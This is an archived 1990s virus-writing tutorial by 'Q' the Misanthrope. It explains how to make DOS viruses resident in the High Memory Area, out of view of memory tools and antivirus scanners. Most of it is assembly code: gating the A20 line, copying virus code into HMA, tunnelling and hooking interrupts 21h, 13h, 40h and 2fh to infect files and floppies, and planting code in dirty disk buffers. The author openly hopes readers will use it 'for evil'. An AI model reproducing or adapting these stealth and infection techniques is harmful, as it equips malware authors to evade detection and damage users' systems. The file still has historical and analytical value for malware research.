home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0198.ZIP / QMUPDAT7.ZIP / HMA_RES.TXT < prev    next >
Text File  |  1997-07-08  |  15KB  |  335 lines

  1.  
  2. This virus topic has not been discussed:  HMA (Not UMB) residency.
  3.  
  4. ------------------------------------------------------------------------------
  5.  
  6. HMA Residency.  What is HMA?  It stands for High Memory Address.  HMA memory
  7. is a 65520 byte area from FFFF:0010h to FFFF:FFFFh.  "Q" the Misanthrope has
  8. been using the HMA to store about 15 of his Viruses.  This is his tutorial on
  9. HMA useage.
  10.  
  11. ------------------------------------------------------------------------------
  12.  
  13. Why HMA?
  14.  
  15. It allows you to put your virus in a location not seen with any of the
  16. conventional memory tools.  MEM CHKDSK and others don't indicate that more
  17. memory is being used in the HMA when a virus goes resident there.  Many anti
  18. virus programs did not scan the HMA since no one was crazy enough to put
  19. their virus up there.  They now have changed because of the many viruses "Q"
  20. created that use the HMA.
  21.  
  22. ------------------------------------------------------------------------------
  23.  
  24. HMA History:
  25.  
  26. On an 80286+ there is an address line called a20 that was to be used to map
  27. the second megabyte of memory.  There are additional address lines a21 a22
  28. etc. but with this a20 line there became another 64k of memory available
  29. to real mode programs.  Where did this new memory come from?  On an 8086, the
  30. addressing of the processor is in SEGMENT:OFFSET format.  Each OFFSET spans
  31. a 64k SEGMENT.  The actual physical address is computed as SEGMENT*10h+OFFSET.
  32. The last byte of memory on an 8086 was F000:FFFFh or F0000h+FFFFh=FFFFFh.
  33. Notice that FFFF:000F is the same physical address (FFFF0h+000FH=FFFFFh).
  34. What happens if you were to address FFFF:0010? (FFFF0h+0010h=100000h)  On an
  35. 8086 this would map back to 0000:0000h but on an 80286 you have just touched
  36. the first byte of the second megabyte of memory.  The only problem is that
  37. the 80286 works just the same as the 8086 and again you are mapped back to
  38. 0000:0000h  Some circuitry needed to be added, a20 gating was created.  If
  39. doing the physical computation caused a carry into the next megabyte then
  40. turn the a20 line on.  This feature had to be able to switched on and off at
  41. will.  The 80286 also introduced the 8042 keyboard controller, There was an
  42. extra bit on an output port that could control this gating.  The creation of
  43. the HIMEM.SYS would in part make controlling this a bit easier.
  44.  
  45. ------------------------------------------------------------------------------
  46.  
  47. Gating a20:
  48.  
  49. To enable the a20 gating:
  50.  
  51.                 mov     ax,4300h        ;himem.sys check
  52.                 int     2fh
  53.                 cmp     al,80h
  54.                 jne     error           ;no himem.sys loaded
  55.                 mov     ax,4310h
  56.                 int     2fh             ;get far call address es:bx
  57.                 mov     ah,03h          ;Global enable A20
  58.                 push    cs              ;prime the stack for retf
  59.                 call    call_es_bx      ;put ip of next line on stack for retf
  60. next_line:      or      ax,ax           ;check if error
  61.                 jz      error
  62.                 ...                     ;code to do whatever
  63.                 ...
  64.                 ...
  65. call_es_bx:     push    es              ;now jmp to es:bx with ah as function
  66.                 push    bx              ;the stack is primed to return to
  67.                 retf                    ;next line
  68.                 ...
  69.                 ...
  70.                 ...
  71. error:          mov     ah,09h          ;print command
  72.                 mov     dx,offset errmsg;print error
  73.                 push    cs
  74.                 pop     ds
  75.                 int     21h
  76.                 ...
  77.                 ...
  78.                 ...
  79. errmsg          db      "A20 Global Enable error!",0dh,0ah,"$"
  80.  
  81. Note: all of the HIMEM.SYS calls are documented in Ralf Brown's Interrupt
  82. list (INT 2F AX=4310)
  83.  
  84. ------------------------------------------------------------------------------
  85.  
  86. Brute force gating a20:
  87.  
  88. Another method is the brute force method.  What if you want the HMA available
  89. at boot time for your boot sector virus?  You can directly control the 8042
  90. keyboard controller.  Using command D1.   Write Output Port: next byte written
  91. to port 60h is placed in the 8042 output port.
  92.  
  93.         │7│6│5│4│3│2│1│0│  8042 Output Port
  94.          │ │ │ │ │ │ │ └──── system reset line
  95.          │ │ │ │ │ │ └───── gate A20
  96.          │ │ │ │ └─┴────── undefined
  97.          │ │ │ └───────── output buffer full
  98.          │ │ └────────── input buffer empty
  99.          │ └─────────── keyboard clock (output)
  100.          └──────────── keyboard data (output)
  101.  
  102. .286
  103.                 mov     al,0d1h         ;send command to 8042
  104.                 out     64h,al
  105. reloop:         in      al,64h          ;check that port 60h is available 
  106.                 or      al,02h
  107.                 jnz     reloop
  108.                 mov     al,11100011b    ;keep keyboard working and gate a20
  109.                 out     60h,al
  110.                 push    -1              ;set es=ffffh
  111.                 pop     es
  112.                 push    00h
  113.                 pop     ds              ;set ds=0000h
  114.                 mov     di,10h          ;check if it worked, compare
  115.                 xor     si,si           ;ffff:0010h to 0000:0000 for 16 bytes
  116.                 mov     cx,di           ;set cx to 10h
  117.                 cld
  118.                 rep     cmpsb           ;compare it
  119.                 je      failed
  120.                 ...                     ;worked, copy virus to ffff:xxxx
  121.  
  122. failed:         jmp     short failed    ;do whatever
  123.  
  124. ------------------------------------------------------------------------------
  125.  
  126. HMA and DOS 5+:
  127.  
  128. The easiest method is to use the HMA if DOS 5+ is loaded in the HMA with the
  129. commands in the CONFIG.SYS like these:
  130.  
  131. DEVICE=C:\DOS\HIMEM.SYS
  132. DOS=HIGH
  133.  
  134. This requirement is on 99% of all machines running this decade.  To invoke it:
  135.  
  136.                 mov     ax,4a02h        ;allocate HMA space from DOS
  137.                 mov     di,-1           ;prime di if DOS not high or < ver 5
  138.                 mov     bx,0200h        ;number of bytes you want
  139.                 int     2fh             ;should return es:di to available mem
  140.                 inc     di              ;di=ffffh if no memory or DOS<5 etc.
  141.                 jz      failed          ;if it failed
  142.                 dec     di
  143.                 mov     si,offset virii
  144.                 mov     cx,bx           ;get ready to copy virii
  145.                 cld
  146.                 rep     movs byte ptr es:[di],cs:[si]
  147.                 ...
  148.                 ...
  149. failed:         jmp     short failed
  150.  
  151. ------------------------------------------------------------------------------
  152.  
  153. Hooking interrupts:
  154.  
  155. Now that you are in the HMA what next?  Hook in your interrupts and you are
  156. off infecting.  Problem is that it is not that simple.  You can't point an
  157. interrupt to ffff:xxxx because the a20 gate may be turned off for some reason.
  158. If the a20 gate is turned off then your interrupt will point to code in the
  159. first 64k of memory.  When DOS 5+ interrupts 13,21,2f etc. chain into the HMA
  160. they first check if the a20 line is gated, if not they gate it.  The interrupt
  161. then continues it's code in the HMA.  You can tunnel to your desired interrupt
  162. and hook in to the interrupt chain when the code goes to the HMA.  An example
  163. of hooking interrupt 21h is:
  164.  
  165. .286
  166. virus_size      equ     previous_21-begin
  167. begin:          ...
  168.                 ...
  169.                 ...
  170.                 mov     ax,3501h        ;get int 1 address for tunnel
  171.                 int     21h
  172.                 mov     dx,offset interrupt_1
  173.                 mov     ah,25h          ;set int 1 for tunnel
  174.                 push    es
  175.                 int     21h
  176.                 pop     ds              ;ds:dx will be to set it back
  177.                 push    00h             ;es=0000h
  178.                 pop     es
  179.                 pushf                   ;simulate interrupt stack
  180.                 mov     dx,bx
  181.                 push    cs
  182.                 push    es              ;return to cs:0000 is cd 20
  183.                 int     01h             ;set trap flag
  184.                 db      26h             ;es: override in to int table 
  185.                 dw      02effh,21h*04h  ;jmp far ptr es:[0084]
  186. interrupt_1:    pusha                   ;save varables
  187.         push    sp
  188.                 pop     bp              ;get pointer                      
  189.         push    ds
  190.                 push    es
  191.                 lds     si,dword ptr ss:[bp+10h];get next instruction address
  192.                 cmp     word ptr ds:[si+01h],02effh
  193.                 jne     go_back         ;check if jmp far ?s:[????] 
  194.                 cmp     word ptr ds:[si-02h],001cdh
  195.                 org     $-02h           ;see if called from our int 01
  196.                 int     01h
  197.         je      toggle_tf               
  198.                 mov     si,word ptr ds:[si+03h];get address segment of jmp
  199.                 cmp     byte ptr ds:[si+03h],0f0h
  200.                 jb      go_back         ;see if in HMA area
  201.                 mov     bx,((virus_size+10h)SHR 4)*10h
  202.                 mov     di,0ffffh       ;allocate HMA area for virus
  203.                 mov     ax,4a02h
  204.                 int     2fh
  205.                 inc     di              ;is HMA full
  206.                 jz      toggle_tf       ;if so then just don't bother
  207.                 push    si              ;move the virus to the HMA
  208.                 cld
  209.                 mov     cx,virus_size
  210.                 mov     si,0100h        ;copy virus to HMA
  211.                 rep     movs byte ptr es:[di],cs:[si]
  212.                 pop     si              ;now hook the int 21 chain
  213.                 movsw                   ;int 21 copied at previous_21
  214.                 movsw
  215.                 lea     di,word ptr ds:[di-04h-virus_size+offset resident_21]
  216.                 mov     word ptr ds:[si-04h],di;point to resident 21 code
  217.                 mov     word ptr ds:[si-02h],es
  218. toggle_tf:      xor     byte ptr ss:[bp+15h],01h;toggle the trap flag
  219. go_back:        pop     es
  220.                 pop     ds
  221.         popa                            
  222.                 iret                            
  223. resident_21:    pushf                   ;do the voodoo you do so well
  224.         pusha
  225.                 ...
  226.                 ...
  227.                 ...
  228.                 popa
  229.                 popf
  230.                 db      0eah
  231. previous_21:    label   double
  232.  
  233. This is a bit laborous.  What else can be done?  If you need to hook interrupt
  234. 13h then the simple use of INT 2fh AH=13h can be done.
  235.  
  236. .286
  237. ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh                
  238.                 mov     ah,13h          ;get int 13 chain
  239.                 int     2fh             ;returns previous ds:dx to bios int 13
  240.                 push    ds
  241.                 push    dx
  242.                 lea     dx,word ptr ds:[di+offset resident_13]
  243.                 push    -1              ;point to new int 13 in HMA
  244.                 pop     ds
  245.                 int     2fh             ;set new int 13 into chain
  246.                 push    -1
  247.                 pop     ds
  248.                 pop     word ptr ds:[di+previous_13]
  249.                 pop     word ptr ds:[di+previous_13+02h]
  250.  
  251. The only problem with this is that Windows will spot it if the 32 Bit Disk
  252. access is enabled.
  253.  
  254. An even simpler way of hooking into the interrupt 13 chain can be done if
  255. all you are wanting to do is infect floppies.  Interrupt 40h is the moved
  256. interrupt 13h handler that only handles floppy access.  It can be directly
  257. hooked in to the HMA because all access to it will be through interrupt 13h
  258. that made sure the a20 line was gated before it went in to the HMA.
  259.  
  260. .286
  261. ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh                
  262.                 push    es              ;save es
  263.                 mov     ax,3540h        ;get old int 40
  264.                 int     21h
  265.                 pop     ds              ;get es and save old int 40
  266.                 mov     word ptr ds:[di+previous_40],bx     
  267.                 mov     word ptr ds:[di+previous_40+02h],es
  268.                 lea     dx,word ptr ds:[di+resident_40]
  269.                 mov     ah,25h          ;set int 40 into hma 
  270.                 int     21h
  271.  
  272. Interrupt 2fh is very easy to hook in to the HMA.  Before DOS 7 you could
  273. hook your code in at 0070:0005h  DOS 7 moved it to 0070:0168h.
  274.  
  275. Another way to hook into the interrupt chain and make sure that the a20 line
  276. is gated is to have some code in lower memory that calls the interrupt you
  277. want to hook in with some bogus function then jump to the HMA code because
  278. the a20 line was gated with the previous interrupt call.  An example of this:
  279.  
  280.  
  281. .286
  282. interrupt_21:   push    ax              ;interrupt 21h points to here
  283.                 mov     ah,19h          ;get current drive (bogus instruction)
  284.                 pushf                   ;simulated stack for interrupt
  285.                 db      09ah            ;far call instruction
  286. previous_21     dd      04530126eh      ;previous interrupt 21 simulation
  287.                 pop     ax
  288.                 db      0eah            ;far jmp
  289. hma_virus_code  dd      ffffec1ch       ;to virus code in HMA
  290.  
  291.  
  292. ------------------------------------------------------------------------------
  293.  
  294. Using some lower memory as a kernal:
  295.  
  296. The trick is where to put these instrctions in lower memory.  The interrupt
  297. vector table can be used or the user area at 0040:00f0h or I like to use
  298. the root PSP of COMMAND.COM:
  299.  
  300.  
  301. .286
  302.                 mov     ah,51h          ;get current PSP
  303.                 int     21h
  304.                 xor     ax,ax           ;prime ax not equal PSP
  305. find_root_psp:  cmp     ax,bx
  306.                 je      found_root_psp
  307.                 mov     ds,bx           ;point to current psp
  308.                 mov     ax,bx           ;for compare
  309.                 mov     bx,word ptr ds:[16h];get parent psp
  310.                 jmp     short find_root_psp
  311. found_root_psp: ...                     ;ds points to the psp of command.com
  312.                 ...                     ;ds:005ch to ds:007fh is useless space
  313.  
  314. ------------------------------------------------------------------------------
  315.  
  316. What works and what doesn't:
  317.  
  318. When your virus code is the HMA there are certain things that will not work
  319. like you like them to:  You can not hook your critical error handler in to
  320. the HMA.  You can not do interrupt 21h writes or reads with ds:dx pointing in
  321. the HMA.  To do these you will need to use lower memory and copy the contents
  322. into the lower memory and point to it.  You can use the lower memory areas
  323. discussed above.  What does work: BIOS interrupt 13h reads and writes work
  324. just fine.  Searching the Disk Buffers and modifying them to insert your code
  325. and then marking the buffer as dirty will cause the processor to write it
  326. back.
  327.  
  328. ------------------------------------------------------------------------------
  329.  
  330. If this has inspired someone else to use the HMA for evil rather than good
  331. then my efforts have been worth it.
  332.  
  333. "Q" the Misanthrope.
  334.  
  335.